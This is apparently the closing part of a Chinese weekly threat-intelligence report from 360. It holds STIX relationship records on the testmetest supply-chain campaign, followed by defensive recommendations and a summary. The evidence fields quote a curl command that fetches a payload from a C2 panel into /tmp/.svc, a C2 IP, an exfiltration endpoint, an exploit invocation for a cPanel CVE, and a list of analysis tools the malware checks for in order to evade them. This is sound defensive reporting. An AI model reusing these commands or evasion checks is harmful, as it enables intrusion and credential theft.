"id": "relationship--1493e1df-6dcb-4685-ad9c-7a75cc28269a",
"relationship_type": "uses",
"source_ref": "campaign--a1348118-39aa-4933-9216-aeb98bc515e8",
"target_ref": "observed-data--edd627e4-3dac-4de0-8d93-35706e386da9",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "testmetest 活动使用加密文件 .napi_cache 以隐藏载荷。",
"x_evidence": "Next to the addon sits a dotfile called .napi_cache, which looks like a leftover build cache.",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--0d8c6b32-7d67-484a-8f23-8fe80553ce15",
"relationship_type": "uses",
"source_ref": "campaign--a1348118-39aa-4933-9216-aeb98bc515e8",
"target_ref": "observed-data--edd627e4-3dac-4de0-8d93-35706e386da9",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "testmetest 活动使用 Linux 下的本地插件 addon.node 作为伪装。",
"x_evidence": "Three packages ... carry a precompiled Node addon (addon.node).",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--38cb6d49-421d-4995-a810-4aaa8f51ebd5",
"relationship_type": "uses",
"source_ref": "campaign--a1348118-39aa-4933-9216-aeb98bc515e8",
"target_ref": "observed-data--edd627e4-3dac-4de0-8d93-35706e386da9",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "testmetest 活动使用 Windows 下的本地插件 addon_win.node 作为伪装。",
"x_evidence": "plus addon_win.node for Windows",
"x_confidence": 0.85
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--fca691e2-a416-4a03-91fe-47df1455bea9",
"relationship_type": "hosts",
"source_ref": "identity--d53b1e18-5e8f-431e-a438-1d6bf3b08a29",
"target_ref": "observed-data--edd627e4-3dac-4de0-8d93-35706e386da9",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "CementBeetleSteeple 的仓库托管 ci.js 发布器脚本。",
"x_evidence": "The account CementBeetleSteeple hosted 17 campaign repositories ... carried a root-level ci.js.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--80c0b8b4-63f3-444b-a210-8ff41e569825",
"relationship_type": "hosts",
"source_ref": "identity--d53b1e18-5e8f-431e-a438-1d6bf3b08a29",
"target_ref": "url--a46c86b8-3a32-43f1-9290-e06dd424ab4e",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "CementBeetleSteeple 的仓库托管 loader.js 下载链接。",
"x_evidence": "CementBeetleSteeple is the same account that hosts ... loader.js.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--b692a3c2-8753-465c-99e0-7942ca8d0c0c",
"relationship_type": "communicates-with",
"source_ref": "malware--139346d9-21da-46a6-b22c-05867b1ed256",
"target_ref": "domain-name--6f3cd92e-7b97-4780-ba6c-cb624da441ab",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "Shai-Hulud 载荷将加密数据外传到 aiarmor.website 域。",
"x_evidence": "Exfiltration endpoint: hxxps[:]//aiarmor[.]website/v1/api",
"x_confidence": 0.8
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--6ff7860e-9043-4d35-9041-1718ee8fc325",
"relationship_type": "communicates-with",
"source_ref": "malware--139346d9-21da-46a6-b22c-05867b1ed256",
"target_ref": "url--b7d6c822-5020-414f-9e01-0d870ae8f13d",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "Shai-Hulud 载荷使用 https://aiarmor.website/v1/api 端点外传数据。",
"x_evidence": "Exfiltration endpoint: hxxps[:]//aiarmor[.]website/v1/api",
"x_confidence": 0.8
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--4074e381-de7a-4e5a-bb98-7f62740058e1",
"relationship_type": "targets",
"source_ref": "malware--139346d9-21da-46a6-b22c-05867b1ed256",
"target_ref": "tool--fb420335-cd02-4d84-9f48-0724a0b05343",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "Shai-Hulud 载荷检测 Wireshark 以规避分析。",
"x_evidence": "stops if it contains wireshark.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--7b90c4a8-8879-4beb-a649-7a5705ff4adb",
"relationship_type": "targets",
"source_ref": "malware--139346d9-21da-46a6-b22c-05867b1ed256",
"target_ref": "tool--7ea8c0f6-595c-4bb9-a1fd-7d0550ca808e",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "Shai-Hulud 载荷检测 Process Monitor 以规避分析。",
"x_evidence": "stops if it contains procmon.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--261a79c9-cbad-42da-9163-26acf079fc07",
"relationship_type": "targets",
"source_ref": "malware--139346d9-21da-46a6-b22c-05867b1ed256",
"target_ref": "tool--71165aac-131f-487b-810c-4beb97413701",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "Shai-Hulud 载荷检测 Process Explorer 以规避分析。",
"x_evidence": "stops if it contains procexp.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--d2179966-70c8-4d97-8374-20ef1b6cd355",
"relationship_type": "targets",
"source_ref": "malware--139346d9-21da-46a6-b22c-05867b1ed256",
"target_ref": "tool--2b0e9164-5118-43f8-b997-89c364e6ddf4",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "Shai-Hulud 载荷检测 x64dbg 以规避分析。",
"x_evidence": "stops if it contains x64dbg.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--082d947a-1498-4716-8c90-2cd2a7a6e3fd",
"relationship_type": "targets",
"source_ref": "malware--139346d9-21da-46a6-b22c-05867b1ed256",
"target_ref": "tool--81679ffd-3926-41f7-8150-bafec258c6f4",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "Shai-Hulud 载荷检测 OllyDbg 以规避分析。",
"x_evidence": "stops if it contains ollydbg.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--94a1a75f-310f-4c5d-bf8e-8580a1cfd0bd",
"relationship_type": "targets",
"source_ref": "malware--139346d9-21da-46a6-b22c-05867b1ed256",
"target_ref": "tool--2d434790-5509-4adc-8297-8cb8135cdc2f",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "Shai-Hulud 载荷检测 Fiddler 以规避分析。",
"x_evidence": "stops if it contains fiddler.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--0da66e0a-08c3-4431-afaa-7bdabc52fbd9",
"relationship_type": "targets",
"source_ref": "malware--139346d9-21da-46a6-b22c-05867b1ed256",
"target_ref": "tool--dab8e3ac-3dc5-41d2-b943-bf42e8ba93d9",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "Shai-Hulud 载荷检测 HTTP Debugger 以规避分析。",
"x_evidence": "stops if it contains httpdebug.",
"x_confidence": 0.9
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--f0b192d1-8088-4270-86c5-752a911fa09e",
"relationship_type": "downloads",
"source_ref": "observed-data--edd627e4-3dac-4de0-8d93-35706e386da9",
"target_ref": "url--57403424-419b-4657-bdff-1e8784c3caff",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "扫描器通过该分发路径下载到 /tmp/.svc 并执行。",
"x_evidence": "curl -sfL \"${PANEL_URL}/api/dl/${suffix}\" -o /tmp/.svc",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--65fe958b-c33e-4283-b2ec-4dfd90a13062",
"relationship_type": "communicates-with",
"source_ref": "observed-data--edd627e4-3dac-4de0-8d93-35706e386da9",
"target_ref": "ipv4-addr--1b161a91-e9a0-4bd4-9469-76e1966450c9",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "扫描器与 C2 服务器 43.228.157.68 通信。",
"x_evidence": "PANEL_URL was set to hxxp[:]//43[.]228[.]157[.]68:80",
"x_confidence": 0.95
},
{
"type": "relationship",
"spec_version": "2.1",
"id": "relationship--3bfdf38f-bcc4-4b19-8554-5bb334e54c2e",
"relationship_type": "exploits",
"source_ref": "observed-data--edd627e4-3dac-4de0-8d93-35706e386da9",
"target_ref": "vulnerability--d7a8626e-4010-44bf-9ebd-599cc8e3d39e",
"created": "2026-10-26T16:12:57Z",
"modified": "2026-10-26T16:12:57Z",
"description": "扫描器进程利用 CVE-2026-41940 漏洞扫描 cPanel 相关服务。",
"x_evidence": "ipscan --exploit CVE-2026-41940",
"x_confidence": 0.95
}
]
}报告链接：
https://research.jfrog.com//post/beyond-testmetest-42-hijacked-github-repos/
───────────────────────────────────
三、本周AI安全风险观察
AI开发环境的连接配置与执行权限成为直接攻击面。非官方中转服务和恶意MCP配置都可能在正常工具界面背后改变数据流向或本地代码执行行为。
恶意软件对模型的使用正进入运行阶段。NIK C2和天穹样本分别将模型接入操作员命令与规避建议流程，但功能存在、模型响应和真实攻击成功需要分别判断。
AI品牌和可信域名被反复用于建立信任。预览邀请、假冒桌面客户端以及真实平台上的共享页面，均可让用户在看似熟悉的场景中提交凭据或运行代码。
编码助手扩展机制与既有软件供应链相互叠加。启动钩子、MCP配置和编辑器任务应与依赖包、构建产物及发布凭据一起检查。
───────────────────────────────────
四、安全建议
核查AI客户端配置与中转来源：盘点模型API目的地址、第三方中转和凭据替换，监控沙箱关闭及审批策略变更；对未经批准的中转服务开展访问与数据暴露排查。
加固终端行为检测：结合异常模型API调用、敏感文件访问、反向连接和载荷执行识别风险，不仅依赖恶意文件静态特征；发现凭据暴露后及时吊销并轮换。
审核仓库与扩展执行入口：检查编码助手启动钩子、MCP服务器、VS Code任务和包安装脚本，隔离不可信仓库与依赖，限制构建和发布凭据权限。
防范AI邀请与安装诱饵：从厂商官方入口核验预览资格和安装程序，检查实际登录域名，不直接执行广告、共享页面或陌生仓库提供的终端命令。
结合场景使用指标：对本期域名、哈希和连接线索开展历史排查；私有地址、共享服务节点及关联活动信息需要结合进程、时间与访问上下文判断。
───────────────────────────────────
五、报告总结
本期风险同时存在于AI工具配置、恶意软件能力与用户交互入口。非官方中转可能改变客户端安全边界，恶意npm活动则把助手与编辑器的自动执行入口纳入供应链攻击。
NIK C2、模型辅助规避样本和微软的威胁组织研究表明，AI已被纳入多种攻击流程；与此同时，AI品牌钓鱼与共享页面滥用仍依赖用户信任和安装行为。
组织应优先核验AI工具的数据链路和扩展来源，保护凭据与执行权限，并结合终端行为监测、安装渠道治理和历史日志排查处置相关风险。
───────────────────────────────────
报告说明
本报告由360威胁情报中心基于2026年10月24日至10月30日公开威胁情报整理形成，重点分析非官方AI中转配置风险、NIK C2模型接口滥用、朝鲜威胁组织采用AI、Anthropic预览邀请钓鱼、模型辅助规避样本、假冒AI客户端侧加载、Claude共享页面恶意投递及testmetest供应链活动等事件，为企业AI应用、Agent开发环境、软件供应链、身份凭据与终端安全防护提供参考。
情报时效性：2026年10月24日—10月30日 威胁评估等级：高风险（多源情报验证）